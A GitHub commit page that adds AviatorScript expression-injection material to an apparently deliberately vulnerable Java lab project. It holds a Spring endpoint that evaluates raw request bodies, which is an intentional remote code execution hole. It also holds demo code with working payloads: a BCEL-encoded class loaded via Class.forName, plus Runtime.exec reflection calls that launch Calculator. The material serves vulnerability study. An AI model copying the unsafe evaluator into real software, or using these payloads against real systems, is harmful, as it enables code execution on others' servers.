Skip to content

Commit 7ea519d

Browse files
authored
Merge pull request #1 from guchangan1/dev
Add Aviatorscript evaluation vulnerability exploitation code
2 parents a507116 + f111947 commit 7ea519d

File tree

4 files changed

+120
-0
lines changed

4 files changed

+120
-0
lines changed
Lines changed: 33 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,33 @@
1+
package com.ppp.springboot.vul.code;
2+
3+
import com.ppp.code.AviatorScriptAttack;
4+
import com.ppp.code.GroovyAttack;
5+
import org.springframework.stereotype.Controller;
6+
import org.springframework.web.bind.annotation.RequestBody;
7+
import org.springframework.web.bind.annotation.RequestMapping;
8+
import org.springframework.web.bind.annotation.ResponseBody;
9+
10+
import javax.servlet.http.HttpServletRequest;
11+
import javax.servlet.http.HttpServletResponse;
12+
import java.net.URLDecoder;
13+
14+
/**
15+
* @author guchangan1
16+
*/
17+
18+
@Controller
19+
@RequestMapping("/code/Aviator")
20+
public class AviatorScriptController {
21+
22+
// AviatorEvaluator
23+
@RequestMapping("/case1")
24+
@ResponseBody
25+
public Object aviatorEvaluator(@RequestBody String requestBody, HttpServletRequest request, HttpServletResponse response) throws Exception {
26+
String body = URLDecoder.decode(requestBody);
27+
System.out.println(body);
28+
AviatorScriptAttack aviatorScriptAttack = new AviatorScriptAttack();
29+
Object result = aviatorScriptAttack.aviatorEvaluator(body);
30+
31+
return result;
32+
}
33+
}

SecVulns/VulnCore/Code/pom.xml

Lines changed: 11 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -14,6 +14,11 @@
1414
</properties>
1515

1616
<dependencies>
17+
<dependency>
18+
<groupId>com.googlecode.aviator</groupId>
19+
<artifactId>aviator</artifactId>
20+
<version>5.2.6</version>
21+
</dependency>
1722
<dependency>
1823
<groupId>org.codehaus.groovy</groupId>
1924
<artifactId>groovy</artifactId>
@@ -25,5 +30,11 @@
2530
<artifactId>junit</artifactId>
2631
<version>3.8.1</version>
2732
</dependency>
33+
<dependency>
34+
<groupId>com.googlecode.aviator</groupId>
35+
<artifactId>aviator</artifactId>
36+
<version>5.4.3</version>
37+
<scope>compile</scope>
38+
</dependency>
2839
</dependencies>
2940
</project>
Lines changed: 20 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,20 @@
1+
package com.ppp.code;
2+
3+
import com.googlecode.aviator.AviatorEvaluator;
4+
import com.googlecode.aviator.AviatorEvaluatorInstance;
5+
import groovy.lang.GroovyShell;
6+
7+
import javax.script.ScriptEngine;
8+
import javax.script.ScriptEngineManager;
9+
10+
/**
11+
* @author guchangan1
12+
*/
13+
public class AviatorScriptAttack {
14+
15+
public Object aviatorEvaluator(String script) throws Exception {
16+
AviatorEvaluatorInstance evaluator = AviatorEvaluator.newInstance();
17+
18+
return evaluator.execute(script);
19+
}
20+
}
Lines changed: 56 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,56 @@
1+
package com.ppp.code;
2+
3+
import com.googlecode.aviator.AviatorEvaluator;
4+
import com.googlecode.aviator.AviatorEvaluatorInstance;
5+
import com.googlecode.aviator.Expression;
6+
import com.googlecode.aviator.runtime.JavaMethodReflectionFunctionMissing;
7+
8+
import javax.script.ScriptEngine;
9+
import javax.script.ScriptEngineManager;
10+
import javax.script.ScriptException;
11+
12+
/**
13+
* @author guchangan1
14+
* 参考:https://geekdaxue.co/read/lexiansheng@dix8fs/ll4oyy
15+
*/
16+
public class AviatorScriptDemo {
17+
public static void main(String[] args) throws Exception {
18+
/**
19+
* AviatorEvaluatorInstance bcel
20+
*/
21+
AviatorEvaluatorInstance evaluator = AviatorEvaluator.newInstance();
22+
//AviatorEvaluatorInstance.execute
23+
evaluator.execute("'a'+(c=Class.forName(\"$$BCEL$$$l$8b$I$A$A$A$A$A$A$AeP$cbN$c2$40$U$3dCK$5bk$95$97$f8$7e$c4$95$c0$c2$s$c6$j$c6$NjbR$c5$88a_$ca$E$86$40k$da$c1$f0Y$baQ$e3$c2$P$f0$a3$8cw$w$B$a2M$e6$de9$e7$9es$e6$a6_$df$l$9f$ANq$60$p$8b$b2$8dul$a8$b2ib$cb$c46$83q$sB$n$cf$Z$b4J$b5$cd$a07$a2$$g$c8y$o$e4$b7$e3Q$87$c7$P$7egHL$d1$8b$C$7f$d8$f6c$a1$f0$94$d4e_$q$MY$afqsQ$t$c8$t$3c$608$aax$D$ff$c9w$87$7e$d8s$5b2$Wa$af$5e$5d$a0$ee$e2$u$e0IB$G$z$YuU$f4$3f9$83$7d9$J$f8$a3$UQ$98$98$d8$n$dc$8a$c6q$c0$af$84z$d7$a2$f7$8e$95$c9$81$B$d3$c4$ae$83$3d$ec$3bX$c1$w$85$d2$90$n$3f$cflv$G$3c$90$M$a5$94$S$91$7b$dd$9c$853$U$e6$c2$fbq$u$c5$88$f2$ed$k$973P$ae$y$$$3f$a5$eb8$84N$7fT$7d$Z0$b5$GU$8b$90K$9dQ$cf$d6$de$c0$5e$d2$f1$SU$p$r5$d8T$9d_$B$96$e9$G$9a$d2$da$a4R$e6$934$M$b0$de$91$a9$bdB$7b$fe$e37$W$fc$Wr$c8S$_$d0$d1$89$v$d2$v$a5$fa$b5$l$d5$l$f2$9c$f6$B$A$A\",true,new com.sun.org.apache.bcel.internal.util.ClassLoader()) ) + ( c.exec(\"open -a Calculator.app\") );");
24+
25+
//AviatorEvaluatorInstance.compile Expression.execute
26+
// Expression exp = evaluator.compile("'a'+(c=Class.forName(\"$$BCEL$$$l$8b$I$A$A$A$A$A$A$AeP$cbN$c2$40$U$3dCK$5bk$95$97$f" +
27+
// "8$7e$c4$95$c0$c2$s$c6$j$c6$NjbR$c5$88a_$ca$E$86$40k$da$c1$f0Y$baQ$e3$c2$P$f0$a3$8cw$w$B$a2M$e6$de9$e7$9" +
28+
// "es$e6$a6_$df$l$9f$ANq$60$p$8b$b2$8dul$a8$b2ib$cb$c46$83q$sB$n$cf$Z$b4J$b5$cd$a07$a2$$g$c8y$o$e4$b7$e3Q$" +
29+
// "87$c7$P$7egHL$d1$8b$C$7f$d8$f6c$a1$f0$94$d4e_$q$MY$afqsQ$t$c8$t$3c$608$aax$D$ff$c9w$87$7e$d8s$5b2$Wa$af" +
30+
// "$5e$5d$a0$ee$e2$u$e0IB$G$z$YuU$f4$3f9$83$7d9$J$f8$a3$UQ$98$98$d8$n$dc$8a$c6q$c0$af$84z$d7$a2$f7$8e$95$c" +
31+
// "9$81$B$d3$c4$ae$83$3d$ec$3bX$c1$w$85$d2$90$n$3f$cflv$G$3c$90$M$a5$94$S$91$7b$dd$9c$853$U$e6$c2$fbq$u$c5" +
32+
// "$88$f2$ed$k$973P$ae$y$$$3f$a5$eb8$84N$7fT$7d$Z0$b5$GU$8b$90K$9dQ$cf$d6$de$c0$5e$d2$f1$SU$p$r5$d8T$9d_$B$" +
33+
// "96$e9$G$9a$d2$da$a4R$e6$934$M$b0$de$91$a9$bdB$7b$fe$e37$W$fc$Wr$c8S$_$d0$d1$89$v$d2$v$a5$fa$b5$l$d5$l$f2" +
34+
// "$9c$f6$B$A$A\",true,new com.sun.org.apache.bcel.internal.util.ClassLoader()) ) + ( c.exec(\"open -a Calculator.app\") );");
35+
// exp.execute();
36+
37+
38+
/**
39+
* AviatorEvaluatorInstance onFunctionMissing
40+
*/
41+
// AviatorEvaluatorInstance evaluator = AviatorEvaluator.newInstance();
42+
// evaluator.setFunctionMissing(JavaMethodReflectionFunctionMissing.getInstance());
43+
// evaluator.execute("exec(Runtime.getRuntime(), 'open -a Calculator.app')");
44+
45+
46+
/**
47+
* ScriptEngineManager aviator
48+
*/
49+
// ScriptEngineManager m = new ScriptEngineManager();
50+
// ScriptEngine engine = m.getEngineByName("aviator");
51+
// engine.eval("'a'+(c=Class.forName(\"$$BCEL$$$l$8b$I$A$A$A$A$A$A$AeP$cbN$c2$40$U$3dCK$5bk$95$97$f8$7e$c4$95$c0$c2$s$c6$j$c6$NjbR$c5$88a_$ca$E$86$40k$da$c1$f0Y$baQ$e3$c2$P$f0$a3$8cw$w$B$a2M$e6$de9$e7$9es$e6$a6_$df$l$9f$ANq$60$p$8b$b2$8dul$a8$b2ib$cb$c46$83q$sB$n$cf$Z$b4J$b5$cd$a07$a2$$g$c8y$o$e4$b7$e3Q$87$c7$P$7egHL$d1$8b$C$7f$d8$f6c$a1$f0$94$d4e_$q$MY$afqsQ$t$c8$t$3c$608$aax$D$ff$c9w$87$7e$d8s$5b2$Wa$af$5e$5d$a0$ee$e2$u$e0IB$G$z$YuU$f4$3f9$83$7d9$J$f8$a3$UQ$98$98$d8$n$dc$8a$c6q$c0$af$84z$d7$a2$f7$8e$95$c9$81$B$d3$c4$ae$83$3d$ec$3bX$c1$w$85$d2$90$n$3f$cflv$G$3c$90$M$a5$94$S$91$7b$dd$9c$853$U$e6$c2$fbq$u$c5$88$f2$ed$k$973P$ae$y$$$3f$a5$eb8$84N$7fT$7d$Z0$b5$GU$8b$90K$9dQ$cf$d6$de$c0$5e$d2$f1$SU$p$r5$d8T$9d_$B$96$e9$G$9a$d2$da$a4R$e6$934$M$b0$de$91$a9$bdB$7b$fe$e37$W$fc$Wr$c8S$_$d0$d1$89$v$d2$v$a5$fa$b5$l$d5$l$f2$9c$f6$B$A$A\",true,new com.sun.org.apache.bcel.internal.util.ClassLoader()) ) + ( c.exec(\"open /System/Applications/Calculator.app\") );");
52+
53+
54+
55+
}
56+
}

0 commit comments

Comments
 (0)